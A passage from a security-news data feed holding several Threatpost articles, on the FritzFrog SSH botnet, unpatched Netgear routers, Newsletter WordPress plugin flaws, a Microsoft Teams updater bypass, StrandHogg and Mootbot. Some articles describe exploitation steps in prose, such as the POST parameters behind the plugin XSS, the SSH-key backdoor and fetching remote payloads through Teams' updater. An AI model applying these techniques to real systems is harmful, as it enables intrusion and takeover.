not.\n\n**Lindsey:** Right, I was about to ask if there have been any incidents so far, but I\u2019m sure that remains to be seen at this point. But yeah, I think that you know, obviously the the data itself in terms of team strategy and personnel plans is a big issue. And also I feel like denial of service could be an issue here too. And you know, launching a denial of service attack or even kicking people off.\n\n**Tara:** Yeah, I\u2019m so glad that you said that actually. Because that is that is one thing that one of the security researchers that I talked to had mentioned was that the denial of service aspect of this, obviously. So anybody who plays Fantasy Football is familiar with this, but you get a very short window of time to make your job spec and it\u2019s kind of a snooze, you lose if you don\u2019t do it in that time period, then you get passed over and you don\u2019t get to go back and redo it. So, you know, conceivably, an attacker could DDoS someone you know, a club and prevent them from making their draft pick and there would be no way for them to go back and remediate that really. So again, these are things that can make a pretty radical difference when it comes to the team\u2019s future. And of course, this is assuming that we\u2019re going to have an NFL season this year.\n\n**Lindsey:** We\u2019ll see. Fingers crossed. I really like that story. It\u2019s a fun and applicable story. And you know, I put it on Facebook and someone posted, \u201cyou know [the NFL has] been hacked when the first person picked is Terry Bradshaw.\u201d All right. Well, on that note, it\u2019s been a very busy week in the infosec world, and there\u2019s much more that needs to be covered. So let\u2019s wrap up the podcast here, Tom and Tara, thanks for coming on today.\n\n**Tom:** Yeah, thank you.\n\n**Tara:** Thanks, Lindsey. You guys have a good weekend.\n\n**Lindsey:** You too. And to all our listeners. Thank you for joining us today. If you like what you\u2019ve heard here, be sure to share this episode on social media. And if you have any comments or thoughts regarding Apple zero days, or any of the new stories that we\u2019ve talked about today, please [reach out to us on Twitter at @Threatpost](<https://twitter.com/threatpost>) and let\u2019s keep the conversation going. If not catch us next week on the Threatpost podcast.\n\n_**Also, check out our [podcast microsite](<https://threatpost.com/microsite/threatpost-podcasts-going-beyond-the-headlines/>), where we go beyond the headlines on the latest news.**_\n", "cvss3": {}, "published": "2020-04-24T17:11:16", "type": "threatpost", "title": "News Wrap: Nintendo Account Hacks, Apple Zero Days, NFL Security", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-5135"], "modified": "2020-04-24T17:11:16", "id": "THREATPOST:CAAA6F4ECA9D8F91250F10C27A869E23", "href": "https://threatpost.com/news-wrap-nintendo-account-hacks-apple-zero-days-nfl-security/155122/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-14T22:21:31", "description": "A peer-to-peer (P2) botnet called FritzFrog has hopped onto the scene, and researchers said it has been actively breaching SSH servers since January.\n\nSSH servers are pieces of software found in routers and IoT devices, among other machines, and they use the secure shell protocol to accept connections from remote computers. SSH servers are common in enterprise and consumer environments alike.\n\nAccording to an analysis from Guardicore Labs, FritzFrog propagates as a worm, brute-forcing credentials at entities like governmental offices, educational institutions, medical centers, banks and telecom companies. FritzFrog has attempted to compromise tens of millions of machines so far, and has successfully breached more than 500 servers in total, Guardicore researcher Ophir Harpaz said. Victims include well-known universities in the U.S. and Europe, and a railway company; and the most-infected countries are China, South Korea and the U.S.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>) \n\u201cFritzFrog executes a worm malware which is written in Golang, and is modular, multi-threaded and fileless, leaving no trace on the infected machine\u2019s disk,\u201d Harpaz explained, [in a posting](<https://www.guardicore.com/2020/08/fritzfrog-p2p-botnet-infects-ssh-servers/>) on Wednesday. Once the server is compromised, \u201cthe malware creates a backdoor in the form of an SSH public key, enabling the attackers ongoing access to victim machines.\u201d\n\nIt also can drop additional payloads, such as cryptominers.\n\n## **Swimming in a Unique Pond**\n\nFritzFrog is a P2P botnet, meaning that it has greater resiliency than other types of botnets because control is decentralized and spread among all nodes; as such, there\u2019s no single point-of-failure and no command-and-control server (C2).\n\n\u201cFritzFrog is completely proprietary; its P2P implementation was written from scratch, teaching us that the attackers are highly professional software developers,\u201d Harpaz said. She added, \u201cThe P2P protocol is completely proprietary, relying on no known P2P protocols such as \u03bcTP.\u201d\n\nAs far as the other technical details go, Guardicore analyzed the botnet by injecting its own nodes into the mix, giving researchers the ability to participate in the ongoing P2P traffic and see how it was built.\n\nThey discovered that almost everything about FritzFrog is unique when compared with past P2P botnets: Harpaz noted that it doesn\u2019t use IRC like IRCflu; it operates in-memory unlike another [cryptomining botnet, DDG](<https://threatpost.com/p2p-ddg-botnet-unstoppable/154650/>); and runs on Unix-based machines unlike others like the InterPlanetary Storm botnet.\n\nAdditionally, its fileless payload is unusual. Harpaz wrote that files are shared over the network to both infect new machines and run new malicious payloads on compromised ones \u2013 and that this is accomplished completely in-memory using blobs.\n\n\u201cWhen a node A wishes to receive a file from its peer, node B, it can query node B which blobs it owns using the command getblobstats,\u201d according to the researcher. \u201cThen, node A can get a specific blob by its hash, either by the P2P command getbin or over HTTP, with the URL http://:1234/. When node A has all the needed blobs \u2013 it assembles the file using a special module named Assemble and runs it.\u201d\n\nOne the malware is installed on a target by this method, it begins listening on port 1234, waiting for initial commands that will sync the victim with a database of network peers and brute-force targets. Once this initial syncing is finished, FritzFrog gets creative on the evasion-detection front when it comes to further communication from outside the botnet: \u201cInstead of sending commands directly over port 1234, the attacker connects to the victim over SSH and runs a netcat client on the victim\u2019s machine,\u201d according to the analysis. \u201cFrom this point on, any command sent over SSH will be used as netcat\u2019s input, thus transmitted to the malware.\u201d\n\nMeanwhile, the botnet constantly updates itself with databases of targets and breached machines as it worms through the internet.\n\n\u201cNodes in the FritzFrog network keep in close contact with each other,\u201d Harpaz noted. \u201cThey constantly ping each other to verify connectivity, exchange peers and targets and keep each other synced. The nodes participate in a clever vote-casting process, which appears to affect the distribution of brute-force targets across the network. Guardicore Labs observed that targets are evenly distributed, such that no two nodes in the network attempt to \u2018crack\u2019 the same target machine.\u201d\n\nFurther, it was built with an extensive dictionary of breached names and passwords for brute-forcing purposes, making it highly aggressive (\u201cBy comparison, DDG, a recently discovered P2P botnet, used only the username \u2018root,'\u201d said Harpaz).\n\nThe malware also spawns multiple threads to perform various tasks simultaneously. For instance, an IP address in the target queue will be fed to a Cracker module, which in turn will scan the machine attached to the IP address and try to brute-force it; a machine which was successfully breached is queued for malware infection by the DeployMgmt module; and a machine which was successfully infected will be added to the P2P network by the Owned module.\n\nIn the event of a reboot of the compromised system, the malware leaves a backdoor behind, whose login credentials are saved by the network peers.\n\n\u201cThe malware adds a public SSH-RSA key to the authorized_keys file,\u201d according to the research. \u201cThis simple backdoor allows the attackers \u2013 who own the secret private key \u2013 for passwordless authentication, in case the original password was modified.\u201d\n\nThe malware also monitors the file system state on infected machines, periodically checking for available RAM, uptime, SSH logins and CPU-usage statistics. Other nodes take this information and uses it to determine whether to run a cryptominer or not.\n\nIf it decides to run a cryptominer, the malware runs a separate process called \u201clibexec\u201d to mine the Monero cryptocurrency with an XMRig spinoff. Though this secondary infection is what the botnet has so far been used for, its architecture means that it could also install any other type of malware on infected nodes, should its authors decide to do so.\n\nIn all, FritzFrog is highly advanced, Harpaz said, but there\u2019s a simple way to ward off a compromise: \u201cWeak passwords are the immediate enabler of FritzFrog\u2019s attacks,\u201d she said. \u201cWe recommend choosing strong passwords and using public key authentication, which is much safer.\u201d\n\nAdmins should also remove FritzFrog\u2019s public key from the authorized_keys file, preventing the attackers from accessing the machine, she said. And, \u201crouters and IoT devices often expose SSH and are thus vulnerable to FritzFrog; consider changing their SSH port or completely disabling SSH access to them if the service is not in use.\u201d\n\n_It\u2019s the age of remote working, and businesses are facing new and bigger cyber-risks \u2013 whether it\u2019s collaboration platforms in the crosshairs, evolving insider threats or issues with locking down a much broader footprint. Find out how to address these new cybersecurity realities with our complimentary _[_Threatpost eBook_](<https://threatpost.com/ebooks/2020-in-security-four-stories-from-the-new-threat-landscape/?utm_source=ART&utm_medium=articles&utm_campaign=fp_ebook>)**_, 2020 in Security: Four Stories from the New Threat Landscape_**_, presented in conjunction with Forcepoint. We redefine \u201csecure\u201d in a work-from-home world and offer compelling real-world best practices. _[_Click here to download our eBook now_](<https://threatpost.com/ebooks/2020-in-security-four-stories-from-the-new-threat-landscape/?utm_source=ART&utm_medium=articles&utm_campaign=fp_ebook>)_._\n", "cvss3": {}, "published": "2020-08-19T20:46:31", "type": "threatpost", "title": "FritzFrog Botnet Attacks Millions of SSH Servers", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-5135"], "modified": "2020-08-19T20:46:31", "id": "THREATPOST:639CADC540E81321048EB418C2EC7586", "href": "https://threatpost.com/fritzfrog-botnet-millions-ssh-servers/158489/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-14T22:21:48", "description": "UPDATE\n\nNetgear will not patch 45 router models that are vulnerable to a high-severity remote code execution flaw, the router company revealed last week. However, the company says that routers that won\u2019t receive updates are outdated or have reached EOL (End of Life).\n\nThe [remote code execution vulnerability](<https://www.zerodayinitiative.com/advisories/ZDI-20-712/>) in question, [which was disclosed June 15](<https://threatpost.com/netgear-zero-day-takeover-routers/156744/>), allows network-adjacent attackers to bypass authentication on vulnerable Netgear routers \u2013 sans authentication. The high-severity flaw affects 79 Netgear Wi-Fi routers and home gateway models \u2013 but Netgear says that 45 of those router models are outside of its \u201csecurity support period.\u201d\n\n\u201cNetgear has provided firmware updates with fixes for all supported products previously disclosed by ZDI and Grimm,\u201d Netgear said in a [press statement](<https://www.tomsguide.com/news/netgear-routers-no-fixes>). \u201cThe remaining products included in the published list are outside of our support window. In this specific instance, the parameters were based on the last sale date of the product into the channel, which was set at three years or longer.\u201d\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nA full list of the router models that won\u2019t be patched \u2013 as well as those that have fixes being rolled out \u2013 [is available on Netgear\u2019s website](<https://kb.netgear.com/000061982/Security-Advisory-for-Multiple-Vulnerabilities-on-Some-Routers-Mobile-Routers-Modems-Gateways-and-Extenders>).\n\n\u201cWhen we look at support windows, some of our products last five or six years, while others last only a few years,\u201d David Henry, senior vice president of Connected Home products at Netgear, told Threatpost. \u201cWhen we launch a product, as it gets old it goes into End of Life (EOL) and we stop building it and wind down [sales into the channel].\u201d\n\nFor instance, one such Modem Router that won\u2019t receive an update, the AC1450 series, is as old as 2009. Other router models, while newer, have reached EOL: The [R6200 and R6200v2](<https://kb.netgear.com/23748/R6200v2-FAQs>) wireless routers reached EOL in 2013 and 2016, respectively; while the Nighthawk [R7300DST](<https://www.amazon.com/NETGEAR-Nighthawk-Wireless-AC-Gigabit-Adapter/dp/B01HB56E5G>) wireless router reached EOL in the first half of 2017, said Henry.\n\nRegardless, Henry stressed that customers using both newer and older router models stay updated on security updates, as well as adopting best security practices, including turning off features like remote access or changing admin passwords (which he said is enforced by Netgear).\n\n\u201cI think it is really important that customers are paying attention to the updates we send out quarterly on our products,\u201d said Henry.\n\n## **The Flaw **\n\nAccording to the [Zero Day Initiative](<https://www.zerodayinitiative.com/advisories/ZDI-20-712/>) (ZDI), which first disclosed the issue, the flaw exists within the httpd service, which listens on TCP port 80 by default. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a fixed-length, stack-based buffer. An attacker can leverage this flaw to execute code in the context of root, according to ZDI.\n\n\u201cGiven the nature of the vulnerability, the only salient mitigation strategy is to restrict interaction with the service to trusted machines,\u201d according to ZDI. \u201cOnly the clients and servers that have a legitimate procedural relationship with the service should be permitted to communicate with it. This could be accomplished in a number of ways, most notably with firewall rules/whitelisting.\u201d\n\nThe flaw was reported to Netgear on Jan. 8, 2020, and on June 15, 2020 the security advisory for the flaw was publicly released without a patch available. Additionally, a PoC exploit was published by the [GRIMM blog on June 15.](<https://blog.grimm-co.com/2020/06/soho-device-exploitation.html>)\n\nNetgear has rolled out patches for 34 of the vulnerable models since the flaw was disclosed. That includes releasing \u201csecurity hotfixes\u201d for the models, which are fixes that are applied on top of existing, fully tested firmware.\n\n\u201cReleasing hotfixes allows Netgear to quickly update existing products and streamline the firmware verification process without going through full regression testing,\u201d according to Netgear. \u201cThese hotfixes are targeted at specific security issues and should have minimal effect on other areas of the product\u2019s code.\u201d\n\n## **Patch Timeline Backlash **\n\nSeveral security experts are criticizing Netgear for its patching policies and procedures. Brian Gorenc, senior director of vulnerability research and head of Trend Micro\u2019s Zero Day Initiative (ZDI) program, told Threatpost that the vulnerabilities disclosed represent some of the most severe bug categories available.\n\n\u201cUnfortunately, there are too many examples of vendors abandoning devices that are still in wide use \u2013 sometimes even when they are still available to purchase,\u201d Gorenc told Threatpost. \u201cMaybe we need to recommend manufacturers who support their products for longer \u2013 especially in our digitally connected lives. If we reward good communications and long-term support from vendors, maybe this abandonment problem will get better.\u201d\n\nZach Varnell, senior AppSec consultant at nVisium, said that the disclosure on this vulnerability \u201cappears to be more than generous since the researcher followed responsible disclosure practices and even gave an extension when asked for it.\u201d\n\n\u201cIt\u2019s unfortunate for anyone who owns one of those routers but that\u2019s the reality of product lifecycles,\u201d said Varnell. \u201cBasically everything \u2013 including software, toys, cars, electronics, appliances \u2013 will reach an age where their manufacturer will no longer support them. The duration of support varies widely and software tends to be on the shorter side since new development is done much more rapidly than hardware.\u201d\n\n\u201cConsumers should always ensure their devices are still supported by manufacturers and check the available support before purchasing a new device,\u201d said Gorenc.\n\nVulnerabilities in routers have been discovered several times over the past year. In March, [Netgear warned users](<https://threatpost.com/critical-netgear-bug-impacts-nighthawk-router/153445/>) of a critical remote code execution bug that could allow an unauthenticated attacker to take control of its Wireless AC Router Nighthawk (R7800) hardware running firmware versions prior to 1.0.2.68. In July, a pair of [flaws in ASUS routers](<https://threatpost.com/asus-home-router-bugs-snooping-attacks/157682/>) for the home were uncovered that could allow an attacker to compromise the devices \u2013 and eavesdrop on all of the traffic and data that flows through them.\n\n_This article was updated on Aug. 4 at 11:30 am ET with further comments from Netgear. _\n\n_**Complimentary Threatpost Webinar**__: Want to learn more about Confidential Computing and how it can supercharge your cloud security? This webinar \u201c**[Cloud Security Audit: A Confidential Computing Roundtable](<https://attendee.gotowebinar.com/register/3844090971254297614?source=art>)**\u201d brings top cloud-security experts from Microsoft and __Fortanix together to explore how **Confidential Computing** is a game changer for securing dynamic cloud data and preventing IP exposure. Join us **[Wednesday Aug. 12 at 2pm ET](<https://attendee.gotowebinar.com/register/3844090971254297614?source=art>) **for this** FREE **live webinar with Dr. David Thaler, software architect, Microsoft and Dr Richard Searle, security architect, Fortanix \u2013 both with the Confidential Computing Consortium. **[Register Now](<https://attendee.gotowebinar.com/register/3844090971254297614?source=art>)**._\n\nWrite a comment\n\n**Share this article:**\n\n * [Vulnerabilities](<https://threatpost.com/category/vulnerabilities/>)\n * [Web Security](<https://threatpost.com/category/web-security/>)\n", "cvss3": {}, "published": "2020-08-03T19:03:46", "type": "threatpost", "title": "Netgear Won't Patch 45 Router Models Vulnerable to Serious Flaw", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-5135"], "modified": "2020-08-03T19:03:46", "id": "THREATPOST:9AADE8E4BD604BE3415C6DD56ECA3640", "href": "https://threatpost.com/netgear-wont-patch-45-router-models-vulnerable-to-serious-flaw/157977/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-14T22:21:46", "description": "Newsletter, a WordPress plugin with more than 300,000 installations, has a pair of vulnerabilities that could lead to code-execution and even site takeover.\n\nThe Newsletter plugin offers site admins a visual editor that can be used to create newsletters and email campaigns from within WordPress. According to Wordfence, the issues are a reflected cross-site scripting (XSS) vulnerability and a PHP object-injection vulnerability, both of which can be rectified by updating to the latest version of Newsletter, v.6.8.2.\n\nThe first bug is an authenticated reflected XSS problem (CVE pending), which is a medium-severity issue ranking 6.5 on the CvSS scale. Successful exploitation could allow logged-in attackers to inject malicious code into a web window.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\n\u201cDespite the fact that [this type of bug] requires an attacker to trick a victim into performing a specific action (such as clicking a specially crafted link), they can still be used to inject backdoors or add malicious administrative users,\u201d according to Wordfence. \u201cIf an attacker tricked a victim into sending a request containing a malicious JavaScript using either of these methods, the malicious JavaScript would be decoded and executed in the victim\u2019s browser.\u201d\n\nAccording to Wordfence, the specific issue arises because vulnerable versions of Newsletter use an AJAX function, tnpc_render_callback, to display edited blocks based on a set of options sent in the AJAX request. However these options aren\u2019t filtered, but are instead passed directly on to a second function, restore_options_from_request, which displays the blocks using the render_block function, according to [the analysis](<https://www.wordfence.com/blog/2020/08/newsletter-plugin-vulnerabilities-affect-over-300000-sites/>), released Monday.\n\n\u201cAs such, it was possible for an attacker to get malicious JavaScript to display in multiple ways,\u201d researchers explained in the post.\n\nFor instance, one method of exploitation would be to send a POST request to wp-admin/admin-ajax.php with the action parameter set to tnpc_render, the b parameter set to html and the options parameter set to arbitrary JavaScript, according to Wordfence. Or, the options parameter could be set to an empty array options[]=, and the encoded_options parameter set to a base64-encoded JSON string containing arbitrary JavaScript. In both cases, JavaScript would be rendered in a logged-in user\u2019s browser.\n\nThe second bug (the CVE is also pending on this one) is a high-severity PHP object-injection bug, carrying a severity ranking of 7.5 on the CvSS scale. The vulnerability could be used to inject a PHP object that in turn could be processed by code from another plugin or theme, and used to execute arbitrary code, upload files or \u201cany number of other tactics that could lead to site takeover,\u201d the firm warned.\n\n\u201cAlthough the Newsletter editor did not allow lower-level users to save changes to a given newsletter, the same tnpc_render_callback AJAX function was still accessible to all logged-in users, including subscribers,\u201d according to Wordfence. \u201cThis introduced a PHP object-injection vulnerability via the restore_options_from_request function.\u201d\n\nIn terms of methods of exploitation, Wordfence researchers explained that the __destruct function is used by many sites to automatically delete files and \u201cclean up\u201d once a pre-defined, legitimate process is completed. An example would be a script on an e-commerce site that calculates product prices, stores a log of that action, and then deletes the log when it\u2019s done.\n\nIf this code were running on a site that also contained the PHP object injection vulnerability, an attacker could delete the wp-config.php file containing the WordPress site\u2019s core configuration settings by sending a specially crafted payload.\n\n\u201cThe deletion of the wp-config.php file would reset the site and allow an attacker to take over by pointing the site\u2019s new configuration to a remote database under their control,\u201d explained Wordfence.\n\nThe researchers added that to be successful, an attacker would need to know which plugins are installed on a given site \u2013 which can be uncovered with scanning tools, but which means that the bug would be unlikely to be exploited by an automatic script or in bulk.\n\n## **WordPress Plugin Bugs Proliferate**\n\nWordPress plugins are no strangers to security vulnerabilities, some of which can be critical. For instance, last week [just such a bug was found](<https://threatpost.com/critical-rce-flaw-wordpress-plugin-on-70k-sites/157824/>) in a WordPress plugin called Comments \u2013 wpDiscuz, which is installed on more than 70,000 websites. The flaw gives unauthenticated attackers the ability to upload arbitrary files (including PHP files) and ultimately execute remote code on vulnerable website servers.\n\nEarlier in July, [it was discovered that the](<https://threatpost.com/advertising-plugin-wordpress-full-site-takeovers/157283/>) Adning Advertising plugin for WordPress, a premium plugin with over 8,000 customers, contains a critical remote code-execution vulnerability with the potential to be exploited by unauthenticated attackers.\n\nIn May, Page Builder by SiteOrigin, a WordPress plugin with a million active installs that\u2019s used to build websites via a drag-and-drop function, [was found to harbor](<https://threatpost.com/wordpress-page-builder-bugs-takeover/155659/>) two flaws that could allow full site takeover.\n\nMeanwhile in April, it was revealed that legions of website visitors could be infected with drive-by malware, among other issues, thanks to a [CSRF bug in Real-Time Search and Replace](<https://threatpost.com/wordpress-plugin-bug-100k-websites-compromise/155230/>).\n\n_**Complimentary Threatpost Webinar**__: Want to learn more about Confidential Computing and how it can supercharge your cloud security? This webinar \u201c**[Cloud Security Audit: A Confidential Computing Roundtable](<https://attendee.gotowebinar.com/register/3844090971254297614?source=art>)**\u201d brings top cloud-security experts from Microsoft and __Fortanix together to explore how **Confidential Computing** is a game changer for securing dynamic cloud data and preventing IP exposure. Join us **[Wednesday Aug. 12 at 2 p.m. ET](<https://attendee.gotowebinar.com/register/3844090971254297614?source=art>) **for this** FREE **live webinar with Dr. David Thaler, software architect, Microsoft and Dr Richard Searle, security architect, Fortanix \u2013 both with the Confidential Computing Consortium. **[Register Now](<https://attendee.gotowebinar.com/register/3844090971254297614?source=art>)**._\n", "cvss3": {}, "published": "2020-08-04T18:11:18", "type": "threatpost", "title": "Newsletter WordPress Plugin Opens Door to Site Takeover", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-5135"], "modified": "2020-08-04T18:11:18", "id": "THREATPOST:158524EA6F79769C547CC6A407EF6E78", "href": "https://threatpost.com/newsletter-wordpress-plugin-site-takeover/158025/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-14T22:21:44", "description": "COVID-19 has [spurred the use of videoconferencing](<https://threatpost.com/beyond-zoom-safe-slack-collaboration-apps/154446/>) for businesses worldwide \u2013 and this expanded threat surface has lured attackers like moths to a flame. Adding insult to injury, researchers have recently discovered a workaround for a previous patch issued for Microsoft Teams, that would allow a malicious actor to use the service\u2019s updater function to download any binary or malicious payload.\n\nEssentially, bad actors could hide in Microsoft Teams updater traffic, which has lately been voluminous.\n\n\u201cDue to the noisy nature of the [updater] traffic, there is a possibility that malicious traffic hiding there will evade the analyst\u2019s view or even be added to a list of allowed, and therefore unmonitored, list of applications,\u201d explained Reegun Jayapaul, researcher at Trustwave SpiderLabs, in [an analysis](<https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/microsoft-teams-updater-living-off-the-land/>) released on Wednesday.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nWhile Microsoft tried to cut off this vector as a conduit for remote code execution by restricting the ability to update Teams via a URL, it was not a complete fix, the researcher explained.\n\n\u201cThe updater allows local connections via a share or local folder for product updates,\u201d Jayapaul said. \u201cInitially, when I observed this finding, I figured it could still be used as a technique for lateral movement, however, I found the limitations added could be easily bypassed by pointing to an\u2026SMB share.\u201d\n\nServer Message Block (SMB) protocol is a network file sharing protocol. To exploit this, an attacker would need to drop a malicious file into an open shared folder \u2013 something that typically involves already having network access. However, to reduce this gating factor, an attacker can create a remote rather than local share.\n\n\u201cThis would allow them to download the remote payload and execute rather than trying to get the payload to a local share as an intermediary step,\u201d Jayapaul said.\n\nTrustwave has published a proof-of-concept attack that uses Microsoft Teams Updater to download a payload \u2013 using known, common software [called Samba](<https://threatpost.com/samba-update-patches-two-smb-related-mitm-bugs/128090/>) to carry out remote downloading.\n\nFirst, the researcher configured a Samba server for remote, public access. Then, a payload that supports the updater framework must be crafted and uploaded to a remote Samba server that has been authenticated from the Windows \u201cRun\u201d function.\n\n\u201cAfter a successful setup, I initiated the command execution, downloaded remote payload and executed directly from Microsoft Teams Updater, \u2018Update.exe,'\u201d the researcher explained.\n\n\u201cSince the installation is in the local user Appdata folder, no privileged access is needed,\u201d he added. \u201cAttackers can use this to masquerade the traffic (especially for lateral movement).\u201d\n\nMicrosoft won\u2019t be fixing the problem because \u201cwe determined that this behavior is considered to be by design as we cannot restrict SMB source for \u2013update because we have customers that apparently rely on this (e.g. folder redirection),\u201d the company told Trustwave.\n\nTo avoid or mitigate an attack, users can implement solutions that look for suspicious connections both inbound and outbound; and IT can install Microsoft Teams under the \u201cProgram Files\u201d folder, so an attacker cannot drop and execute the remote payload, according to the researcher. \u201cThis can be carried out by Group policy,\u201d Jayapaul said.\n\nCompanies can also disable any kind of update mechanisms and set a policy that updates should be pushed only by the IT team, he added.\n\n_**Complimentary Threatpost Webinar**__: Want to learn more about Confidential Computing and how it can supercharge your cloud security? This webinar \u201c**[Cloud Security Audit: A Confidential Computing Roundtable](<https://attendee.gotowebinar.com/register/3844090971254297614?source=art>)**\u201d brings top cloud-security experts from Microsoft and __Fortanix together to explore how **Confidential Computing** is a game changer for securing dynamic cloud data and preventing IP exposure. Join us **[Wednesday Aug. 12 at 2 p.m. ET](<https://attendee.gotowebinar.com/register/3844090971254297614?source=art>) **for this** FREE **live webinar with Dr. David Thaler, software architect, Microsoft and Dr Richard Searle, security architect, Fortanix \u2013 both with the Confidential Computing Consortium. **[Register Now](<https://attendee.gotowebinar.com/register/3844090971254297614?source=art>)**._\n", "cvss3": {}, "published": "2020-08-05T15:47:04", "type": "threatpost", "title": "Microsoft Teams Patch Bypass Allows RCE", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-5135"], "modified": "2020-08-05T15:47:04", "id": "THREATPOST:D819574E836325FD37CCA2E8B9E979A1", "href": "https://threatpost.com/microsoft-teams-patch-bypass-rce/158043/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-15T22:28:09", "description": "Researchers have discovered a new Android vulnerability that could allow malware to pose as popular apps and ask for various permissions, potentially allowing hackers to listen in on users, take photos, read and send SMS messages, and basically take over various functions as if they are the device\u2019s owner.\n\nSecurity researchers John H\u00f8egh-Omdal, Caner Kaya and Markus Ottensmann at Norwegian app-security provider [Promon](<https://promon.co/>) discovered the flaw\u2014which they dubbed \u201cStrandHogg\u201d from old Norse for the Viking tactic of plundering villages and holding people for ransom. They said attackers can use the vulnerability to allow \u201creal-life malware to pose as legitimate apps, with users unaware they are being targeted,\u201d according to a [blog post](<https://promon.co/security-news/strandhogg/>).\n\n\u201cThe attack can be designed to request permissions which would be natural for different targeted apps to request, in turn lowering suspicion from victims,\u201d researchers wrote. \u201cUsers are unaware that they are giving permission to the hacker and not the authentic app they believe they are using.\u201d[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nIf the flaw is exploited, to users it appears that they are clicking on an app that they use every day, such as Facebook or Instagram. However, what happens when they click on the app is that instead of the app a user intended to open starting up, malware is deployed that can give permissions to the hacker, who is directed to the legitimate app, researchers said.\n\nThe flaw, which can be exploited by \u201creal-life malware,\u201d affects all Android devices, including those running Android 10, they said, as well as puts the top 500 most popular apps at risk.\n\nResearchers from Promon partner Lookout already have identified 36 malicious apps exploiting the vulnerability, which can be done without gaining root access to the device, according to the post. Among those apps were variants of the BankBot Trojan\u2014widespread malware that\u2019s been detected all over the world\u2013observed as early as 2017, researchers said.\n\nMoreover, the persistent problem of malware slipping under the radar on Google Play is what appears to be responsible for the spread of malicious code that exploits the flaw, researchers said. While the specific malware sample that Promon researchers analyzed did not reside on the app store, it was installed through several dropper apps/hostile downloaders distributed on Google Play, they said.\n\nWhile these apps have since been removed, dropper apps continue to be published in spite of protections that exist on the store, researchers said. In fact, some are being downloaded millions of times before being spotted and deleted, they said.\n\nIndeed, Google has [struggled mightily](<https://threatpost.com/malicious-app-tallies-100-million-downloads/147748/>) with malware [making its way onto Google Play](<https://threatpost.com/google-play-malicious-apps-racked-up-335m-installs-in-september/148810/>) under its watch and recently has taken [new steps](<https://threatpost.com/google-bad-android-apps/149981/>) to try to alleviate this problem. The discovery of StrandHogg appears to make the need for better security for Android mobile apps all that more urgent.\n\nIndeed, the existence of the vulnerability already being exploited in the wild certainly is troubling, as it means users already likely have been compromised and remain at critical risk, observed Sam Bakken, senior product marketing manager, for digital identity and anti-fraud solution provider [OneSpan](<https://www.onespan.com/>).\n\n\u201cAs you might imagine, criminals salivate over the monetization potential in stolen mobile banking credentials and access to one-time-passwords sent via SMS,\u201d he said in an e-mail to Threatpost. \u201cPromon\u2019s recent findings make the vulnerability as severe as it\u2019s ever been.\u201d\n\nThere is some good news in all of this, Bakken said. Security solutions do exist \u201cunder the umbrella of in-app protection\u201d that can protect devices from malware exploiting StrandHogg, including \u201capp shielding and runtime protection [that] make it easier for app developers to mitigate these windows of exposure resulting from security issues in both Android and iOS,\u201d he said.\n\n**[Free Threatpost Webinar:](<https://attendee.gotowebinar.com/register/7725318633369800449?source=art>)** _**Risk around third-party vendors is real and can lead to data disasters. We rely on third-party vendors, but that doesn\u2019t mean forfeiting security. [Join us on Dec. 18th at 2 pm EST](<https://attendee.gotowebinar.com/register/7725318633369800449?source=art>) as Threatpost looks at managing third-party relationship risks with industry experts Dr. Larry Ponemon, of Ponemon Institute; Harlan Carvey, with Digital Guardian and Flashpoint\u2019s Lance James. [Click here to register](<https://attendee.gotowebinar.com/register/7725318633369800449?source=art>).**_\n", "cvss3": {}, "published": "2019-12-03T13:26:14", "type": "threatpost", "title": "\u2018StrandHogg\u2019 Vulnerability Allows Malware to Pose as Legitimate Android Apps", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-5135"], "modified": "2019-12-03T13:26:14", "id": "THREATPOST:B9E2C282835BF652ABC49052C859DBCC", "href": "https://threatpost.com/strandhogg-vulnerability-allows-malware-to-pose-as-legitimate-android-apps/150750/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-14T22:26:16", "description": "[![](https://media.threatpost.com/wp-content/uploads/sites/103/2020/04/16215737/Divycloud_225x188.jpg)](<https://register.gotowebinar.com/register/4136632530104301068?source=art>)The Mootbot botnet has been using a pair of zero-day exploits to compromise multiple types of fiber routers. According to researchers, other botnets have attempted to do the same, but have so far failed.\n\nAccording to researchers at NetLab 360, the operators of the Mootbot botnet in late February started to exploit a zero-day bug found in nine different types of fiber routers used to provide internet access and Wi-Fi to homes and businesses (including the Netlink GPON router). The flaw is a remote code-execution bug with a public proof-of-concept (PoC) exploit \u2013 but for it to be used successfully to compromise a target router, it must be paired with a second vulnerability.\n\n\u201cIt is likely most of the vendors are OEM products of the same original vendor,\u201d the firm explained in a [recent posting](<https://blog.netlab.360.com/multiple-fiber-routers-are-being-compromised-by-botnets-using-0-day-en/>). However, NetLab 360 said that it wouldn\u2019t release the original vendor\u2019s name nor details of the second bug, because the vendor told the security firm that it didn\u2019t see the bug as viable.\n\n\u201cOn March 17, we confirmed the exploit was a 0-day and reported the result to CNCERT,\u201d according to the analysis. \u201cWe also contacted the vendor but was told this problem should not be happening because the default config of the device should not have this issue (the reality is different). So they won\u2019t take this case from us.\u201d\n\nDespite 